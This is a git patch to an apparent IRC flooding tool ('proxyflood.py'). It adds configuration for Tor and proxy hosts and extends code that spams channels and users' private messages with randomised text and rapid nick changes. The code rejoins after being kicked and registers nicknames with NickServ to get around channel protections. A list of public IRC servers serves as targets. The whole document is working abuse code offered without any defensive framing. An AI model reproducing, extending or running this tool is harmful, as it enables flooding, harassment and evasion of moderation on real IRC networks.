From 9efeff6ec1aaf50e058386214732de511658e00d Mon Sep 17 00:00:00 2001 From: Your Name Date: Wed, 2 Jun 2021 14:54:46 +0200 Subject: [PATCH] changes --- config.ini | 38 ++++++++++++++++++++++++++++++++ config.py | 1 + proxyflood.py | 60 ++++++++++++++++++++++++++++++++++++++++----------- servers.txt | 1 - 4 files changed, 86 insertions(+), 14 deletions(-) create mode 100644 config.ini diff --git a/config.ini b/config.ini new file mode 100644 index 0000000..d4b0248 --- /dev/null +++ b/config.ini @@ -0,0 +1,38 @@ +[common] +tor_hosts = 127.0.0.1:9050, 192.168.10.252:9050, 192.168.10.50:9050 + +[watchd] +max_fail = 10 +threads = 20 +timeout = 15 +submit_after = 100 +use_ssl = 0 +debug = 0 +checktime = 1800 +perfail_checktime = 300 +database = proxies.sqlite +outage_threshold = 4 +tor_safeguard = 0 +oldies = 1 +oldies_checktime = 3600 +oldies_multi = 1024 + +[ppf] +max_fail = 15 +search = 1 +timeout = 30 +http_retries = 1 +checktime = 3600 +perfail_checktime = 7200 +database = websites.sqlite +threads = 5 + +[scraper] +query = s +[httpd] +listenip = 127.0.0.1 +port = 8081 +enabled = 0 + +[flood] +debug = 0 diff --git a/config.py b/config.py index 608a05d..5705c4f 100644 --- a/config.py +++ b/config.py @@ -60,6 +60,7 @@ class Config(ComboParser): self.add_item(section, 'threads', int, 1, '# of threads', False) self.add_item(section, 'register', int, 0, 'register nickname when required', False) + self.add_item(section, 'wait', int, 0, 'wait prior sending messages', False) self.add_item(section, 'once', int, 0, 'quit as soon as possible', False) self.add_item(section, 'hilight', int, 0, 'try to hilight all nicks?', False) self.add_item(section, 'waitonsuccess', int, 0, 'wait for a while on success', False) diff --git a/proxyflood.py b/proxyflood.py index 650ffb5..aa2b1f6 100644 --- a/proxyflood.py +++ b/proxyflood.py @@ -101,6 +101,7 @@ def flood(sock): ret = False connected = False sentquery = False + isjoined = None global is_target_protected global default_threads global waitonsuccess @@ -142,15 +143,21 @@ def flood(sock): # flood in PVs if connected and (time.time() - connected) > config.flood.noquerybefore and len(nicks): if not sentquery or (time.time() - sentquery) > 60: - print('sending queries ?') if config.flood.change_nick and config.flood.message is not None: + print('sending queries ? (nickchange)') for i in range(config.flood.change_nick): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist))) time.sleep(0.3) elif config.flood.message is not None: + print('sending queries ?') sock.send('PRIVMSG %s :%s\r\n' % (','.join(nicks), randcrap(random.choice(msgs)))) sentquery = time.time() + if connected and config.flood.message and isjoined: + if not config.flood.wait or (time.time() - isjoined) > config.flood.wait: + sock.send('PRIVMSG %s :%s\n' % (','.join(chans), randcrap(random.choice(msgs)))) + time.sleep(0.7) + _split = recv.split(' ') if _split[1] == 'PONG': time.sleep(1) @@ -166,11 +173,11 @@ def flood(sock): send.append('JOIN %s' % ','.join(chans)) if config.flood.message: send.append('PRIVMSG %s :%s' % (','.join(chans), randcrap(random.choice(msgs)))) - if cycle: - if config.flood.message: - send.append('PART %s :%s' %(','.join(chans), randcrap(random.choice(msgs)))) - else: - send.append('PART %s' %','.join(chans)) + #if cycle: + # if config.flood.message: + # send.append('PART %s :%s' %(','.join(chans), randcrap(random.choice(msgs)))) + # else: + # send.append('PART %s' %','.join(chans)) ## spam nicks on connect if len(nicks) and config.flood.message and connected and (time.time() - connected) > config.flood.noquerybefore: @@ -183,8 +190,13 @@ def flood(sock): print( '001: sending %s' % '\r\n'.join(send)) sock.send('\r\n'.join(send) + '\r\n') + elif _split[1] == 'PART': + if recv.startswith(':%s!' % nick): isjoined = None + if config.flood.cycle: sock.send('JOIN %s\n' % _split[2].lstrip(':')) + # end of names list (joined a chan) elif _split[1] == '366': + isjoined = time.time() ret = True send = [] c = _split[3] @@ -201,11 +213,21 @@ def flood(sock): if not c in chans: chans.append(c) - if cycle: - if config.flood.message is not None: - send.append('JOIN %s\r\nPRIVMSG %s :%s\r\nPART %s :%s' %(c,c,randcrap(random.choice(msgs)),c, randcrap(random.choice(msgs)))) - else: - send.append('JOIN %s\r\nPART %s' %(c,c)) + #if cycle: + # if config.flood.message is not None: + # send.append('JOIN %s\r\nPRIVMSG %s :%s\r\nPART %s :%s' %(c,c,randcrap(random.choice(msgs)),c, randcrap(random.choice(msgs)))) + # else: + # send.append('JOIN %s\r\nPART %s' %(c,c)) + + if config.flood.message: + if not config.flood.wait or (time.time() - isjoined) > config.flood.wait: + send.append('PRIVMSG %s :%s' %(c,randcrap(random.choice(msgs)))) + + if config.flood.cycle: + if config.flood.message: + message = randcrap( random.choice(msgs) ) + else: message = '' + send.append('PART %s :%s\n' % (c,message)) if config.flood.once: send.append('QUIT') @@ -252,6 +274,16 @@ def flood(sock): sock.send('KNOCK %s\r\n' % _split[3]) if _split[3] in chans: chans.remove( _split[3] ) + # bot has been kicked + elif _split[1] == 'KICK': + if _split[3] == nick: sock.send('JOIN %s\n' % _split[3]) + + # user is not present + elif _split[1] == '401': + if not ret: ret = True + #if _split[3] in chans: chans.remove(_split[3]) + if _split[3] in nicks: nicks.remove(_split[3]) + if not len(chans) and not len(nicks): break # banned from chan elif _split[1] == '404': if not ret: ret = True @@ -263,8 +295,9 @@ def flood(sock): if not config.flood.register: if _split[3] in chans: chans.remove(_split[3]) - elif _split[3] in nicks: nicks.remove(_split[3]) + if _split[3] in nicks: nicks.remove(_split[3]) print('target "%s" is protected (+R)' % _split[3]) + if not len(chans) and not len(nicks): break else: sock.send('PRIVMSG %s :register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick)) @@ -332,6 +365,7 @@ class WorkerJob(): status = flood(sock) print('status: %s' %str(status)) if not status and not self.proxy in badlist: badlist.append(self.proxy) + if not status and random.random() < random.random(): status = False return status except rocksock.RocksockException as e: @@ -577,7 +611,7 @@ class Proxywatchd(): if self.in_background: wt.start_thread() self.threads.append(wt) - time.sleep( (random.random()/100) ) + time.sleep( (random.random()/100) ) sleeptime = 0 diff --git a/servers.txt b/servers.txt index ed3fb65..520982a 100644 --- a/servers.txt +++ b/servers.txt @@ -22,7 +22,6 @@ irc.europnet.org irc.eversible.com irc.fdfnet.net irc.fef.net -irc.freequest.net irc.gamesurge.net irc.geekshed.net irc.german-freakz.net